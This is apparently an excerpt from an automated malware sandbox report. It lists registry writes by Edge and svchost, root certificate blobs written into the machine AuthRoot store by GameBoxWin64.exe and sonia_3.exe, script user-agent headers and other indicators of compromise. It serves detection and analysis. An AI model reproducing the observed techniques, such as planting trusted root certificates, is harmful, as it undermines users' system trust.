Processes:
MicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exesvchost.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = b2d1a69ea98bd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\ MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "9" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\adfreevision.com\NumberOfSu = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S} svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\adfreevision.com\ = "1425" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 0f98754ea78bd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\adfreevision.com\ = "29" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGLockdown MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\adfreevision.com\Total = "144" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGLockdown MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 10c16b61a78bd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates\83DA05A9886F7658BE MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CTLs MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 605de40ea98bd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{9FAFD972-4D5B-40BC-A1B8-4621E3E64C15}" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3b04ee0ea98bd701 MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{WW6060MI-ED3Y-MI7M-57W2-EJZ5M77G1X0K} svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063" MicrosoftEdge.exe -
Processes:
GameBoxWin64.exesonia_3.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 GameBoxWin64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 GameBoxWin64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 sonia_3.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e sonia_3.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 GameBoxWin64.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Script User-Agent 8 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 184 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 211 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 244 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 380 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 143 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 144 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 153 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 182 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
